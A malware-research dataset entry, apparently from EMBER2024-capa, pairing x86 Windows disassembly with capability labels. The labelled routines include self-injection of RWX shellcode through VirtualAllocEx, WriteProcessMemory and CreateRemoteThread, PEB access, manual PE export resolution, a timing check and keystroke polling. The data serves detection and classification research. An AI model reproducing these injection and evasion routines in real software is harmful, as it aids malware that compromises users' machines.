joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401510
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push edi
push esi
push eax
mov edi, dword [esp + 0x18]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40
push 0x3000
push edi
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x40158d
mov esi, eax
mov eax, dword [esp + 0x14]
mov dword [esp], 0
push esp
pop ecx
push ecx
push edi
push eax
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub edi, edi
test eax, eax
je 0x40158f
mov ebx, dword [esp + 0x1c]
push 0
push 0
push esi
push 0x401500
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebx], eax
or eax, eax
je 0x40158f
cmp dword [esp + 0x20], 0
je 0x401589
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, esi
jmp 0x40158f
sub edi, edi
push edi
pop eax
add esp, 4
pop esi
pop edi
pop ebx
ret

Function at 0x401660
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
ret
Function at 0x402020
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, dword [esp + 0x28]
mov ebp, dword [esp + 0x24]
mov eax, dword [ebp + 0x3c]
mov dword [esp], eax
mov esi, dword [ebp + eax + 0x54]
push esi
push ebx
push ebp
call sub.msvcrt.dll_memcmp
add esp, 0xc
or eax, eax
je 0x402073
lea edi, [esp + 0xc]
push edi
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or eax, eax
je 0x402073
push esi
push ebp
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
push dword [esp + 0x10]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp]
movzx eax, word [ebp + eax + 6]
test ax, ax
je 0x402113
push ebp
pop edx
mov ecx, dword [ebp + 0x3c]
add ebp, ecx
add ebp, 0x100
sub esi, esi
jmp 0x4020b9
mov edx, dword [esp + 0x24]
mov eax, dword [esp]
movzx eax, word [edx + eax + 6]
add esi, 1
movzx ecx, ax
add ebp, 0x28
cmp esi, ecx
jae 0x402113
cmp dword [ebp + 0x1c], 0
js 0x4020ac
mov edi, dword [ebp]
mov ebx, dword [ebp + 4]
lea eax, [edx + ebx]
add ebx, dword [esp + 0x28]
push edi
push ebx
mov dword [esp + 0x10], eax
push eax
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
je 0x4020a0
lea eax, [esp + 4]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4020a0
push edi
push dword [esp + 0xc]
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [esp + 4]
push eax
push dword [esp + 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x4020a0
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402180
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [esp + 0x24]
xor eax, eax
or edi, edi
je 0x402326
mov esi, dword [esp + 0x28]
mov edx, dword [edi + 0x3c]
mov ecx, dword [edx + edi + 0x78]
mov ebx, dword [ecx + edi + 0x1c]
add ebx, edi
cmp esi, 0xffff
ja 0x4021bf
movzx eax, si
sub eax, dword [edi + ecx + 0x10]
add edi, dword [ebx + eax*4]
push edi
pop eax
jmp 0x402326
mov esi, dword [edi + ecx + 0x18]
test esi, esi
je 0x402326
mov dword [esp + 4], ebx
mov dword [esp], edx
mov ebx, dword [edi + ecx + 0x20]
add ebx, edi
mov dword [esp + 8], ecx
mov ebp, dword [edi + ecx + 0x24]
add ebp, edi
pushal
popal
nop
pushal
popal
nop
pushal
popal
push edx
pop edx
pushal
popal
nop
nop
mov eax, dword [ebx]
add eax, edi
push dword [esp + 0x28]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
or eax, eax
je 0x402219
add esi, 0xffffffff
add ebx, 4
add ebp, 2
or esi, esi
jne 0x4021f0
sub eax, eax
jmp 0x402326
movzx eax, word [ebp]
mov ecx, dword [esp + 4]
mov esi, dword [ecx + eax*4]
mov eax, dword [esp + 8]
cmp eax, esi
ja 0x402322
mov ecx, dword [esp]
add eax, dword [edi + ecx + 0x7c]
cmp esi, eax
jae 0x402322
add esi, edi
push 0x2e
push esi
call sub.msvcrt.dll_strchr
add esp, 8
mov edi, eax
add edi, 1
push edi
pop ebp
sub ebp, esi
lea eax, [ebp + 4]
push 2
push eax
call sub.msvcrt.dll_calloc
add esp, 8
or eax, eax
je 0x402212
push eax
pop ebx
lea eax, [ebp + 1]
push ebp
push esi
push eax
push ebx
push 0
call dword [sym.imp.msvcrt.dll_mbstowcs_s]
add esp, 0x14
mov eax, dword [0x41803c]
mov dword [ebx + ebp*2], eax
movzx eax, word [0x418040]
mov word [ebx + ebp*2 + 4], ax
push 4
push 0x418028
push ebx
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x4022b9
push 4
push str.ext_
push ebx
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x402304
lea eax, [esp + 0xc]
push eax
push ebx
push dword [esp + 0x34]
call fcn.00401670
add esp, 0xc
or eax, eax
je 0x402304
push eax
pop ebp
push ebx
call sub.msvcrt.dll_free
add esp, 4
mov esi, dword [esp + 0xc]
lea eax, [esi + 1]
push 2
push eax
call sub.msvcrt.dll_calloc
add esp, 8
push eax
pop ebx
or eax, eax
pushfd
sub eax, eax
popfd
nop
je 0x402326
add esi, esi
push esi
push ebp
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push edi
push eax
call fcn.00402180
mov esi, eax
push ebx
call sub.msvcrt.dll_free
push esi
pop eax
add esp, 4
jmp 0x402326
add esi, edi
push esi
pop eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 0xc

Function at 0x402600
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004033a0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004033a0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x402660
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x41904c]
test esi, esi
jle 0x402780
mov eax, dword [0x419050]
sub ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x402694
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402717
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x402680
mov dword [esp], ebx
call fcn.00402ff0
push eax
pop edi
test eax, eax
je 0x4027a7
mov eax, dword [0x419050]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00403100
mov edx, dword [0x419050]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
or eax, eax
je 0x402787
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402710
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x402720
add dword [0x41904c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
nop
push 4
nop
pop eax
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x419050]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x402710
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00402600
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40269e
mov eax, dword [0x419050]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00402600
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00402600
lea esi, [esi]
nop

Function at 0x402c60
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x419068
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x419060]
sub esp, 4
test ebx, ebx
je 0x402cb5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
push eax
pop esi
call edi
test eax, eax
jne 0x402cae
or esi, esi
je 0x402cae
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402c90
mov dword [esp], 0x419068
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402b14
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x44e008], 0x8088405
inc edx
mov dword [ebx + 0x44e008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402f6c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x44e024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403004
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402fe4
xor eax, eax
push ebp
push 0x402fdd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403020
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402fe4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x44e024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x44e024], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cb0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x450048], 0
je 0x403d11
cmp word [0x45021c], 0xd7b2
jne 0x403cd9
cmp dword [0x450224], 0
jbe 0x403cd9
mov eax, 0x450218
call dword [0x450234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x44e070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d38
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x44e034], 0
jne 0x403d2d
push 0
push 0x44e068
push 0x44e070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405984
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4059ea
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040409c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402b30
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4059d4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4059f1
lea eax, [ebp - 0x10]
call fcn.00403e2c
ret

Function at 0x40a8d8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a911
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f1c
jmp 0x40a91a
mov eax, ebx
mov edx, esi
call fcn.00403e80
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a924
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a945
mov al, byte [esp]
jmp 0x40a947
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40afcc
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40ae44
mov eax, dword [0x44f018]
cmp byte [eax], 0
je 0x40b048
mov eax, dword [0x44ee40]
call fcn.00402980
call fcn.00402824
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040814c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b090
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b07e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x44edf0]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x450664]
call fcn.00404e98
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b8e4
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b9ba
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403ec4
lea eax, [ebp - 8]
call fcn.0040433c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004042ec
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40b9a4
mov eax, ebx
call fcn.004026bc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40b99d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004042ec
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40b987
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40b9cc
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40b987
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9a4
mov eax, dword [ebp - 0x10]
call fcn.004026dc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9c1
lea eax, [ebp - 8]
call fcn.00403e2c
ret

Function at 0x40be38
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40be9c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040409c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407cdc
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bea3
lea eax, [ebp - 0xc]
call fcn.00403e2c
ret

Function at 0x419f78
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x450884
cmp dword [edi], 0
jne 0x419ff4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x450880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44e3f0
mov ecx, 2
call fcn.004028b8
mov edx, 0x419f50
lea eax, [esi + 5]
call fcn.00419f70
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00419f70
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x419fc9
mov dword [0x450880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41b208
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41b20e
ret
Function at 0x41d650
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41d6a1
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41d688
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41d678
jmp 0x41d6a1
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41d689
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426c2c
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x426b78
call sub.user32.dll_EnumWindows
ret

Function at 0x426d4c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x426dc9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004267ac
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x426d71
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.004263ac
cmp dword [ebp - 4], 0
je 0x426db3
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004042ec
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x426dd0
lea eax, [ebp - 4]
call fcn.00403e2c
ret

Function at 0x429a6c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x450b54], 0
je 0x429bbb
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x44efbc]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x429bbb
mov eax, dword [0x450b58]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x450b54]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x429b8a
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x450b54]
call fcn.00413548
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x429b82
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x429b82
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x429b82
mov eax, dword [ebp - 0x14]
call fcn.004325d0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x429b82
push ebp
call fcn.00429a28
pop ecx
test al, al
jne 0x429b82
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x429b3e
mov eax, dword [ebp - 0x14]
call fcn.00431100
dec eax
jle 0x429b82
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004032f0
cmp byte [ebp - 1], 0
je 0x429b82
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x429b82
mov edx, dword [ebp - 0x14]
mov eax, dword [0x450b58]
call fcn.004291f4
inc edi
dec ebx
jne 0x429ad1
mov eax, dword [0x450b58]
cmp dword [eax + 8], 0
jle 0x429ba2
mov eax, dword [0x450b58]
call fcn.00429284
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x429bbb
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00429890
pop ecx
test al, al
jne 0x429bbb
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42d154
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x42d1a0
mov eax, esi
call fcn.00442570
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42d1a0
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x42d1a0
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x42d2df
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x42d1e0
cmp eax, 0x108
ja 0x42d1e0
mov eax, esi
call fcn.00442570
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42d2d6
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x42d2df
jmp 0x42d2d6
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x42d2bf
cmp eax, 0x20a
ja 0x42d2bf
test byte [esi + 0x50], 0x80
jne 0x42d212
sub eax, 0x203
je 0x42d20f
sub eax, 3
je 0x42d20f
sub eax, 3
jne 0x42d212
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x42d226
dec eax
je 0x42d23b
dec eax
je 0x42d258
dec eax
je 0x42d23b
jmp 0x42d25f
mov ecx, ebx
mov eax, dword [0x44efbc]
mov eax, dword [eax]
mov edx, esi
call fcn.0044bc9c
jmp 0x42d2d6
cmp byte [esi + 0x5d], 1
jne 0x42d251
mov eax, esi
mov si, 0xffed
call fcn.004032f0
jmp 0x42d2df
or word [esi + 0x54], 1
jmp 0x42d2d6
and word [esi + 0x54], 0xfffe
jmp 0x42d2d6
mov eax, dword [0x450b10]
cmp byte [eax + 0x20], 0
je 0x42d2d6
mov eax, dword [0x450b10]
cmp dword [eax + 0x1c], 0
je 0x42d2d6
mov eax, dword [ebx]
mov edx, dword [0x450b10]
cmp eax, dword [edx + 0x1c]
jne 0x42d2d6
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.004424b4
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.004032f0
jmp 0x42d2df
cmp eax, 0xb00b
jne 0x42d2d6
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0042babc
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret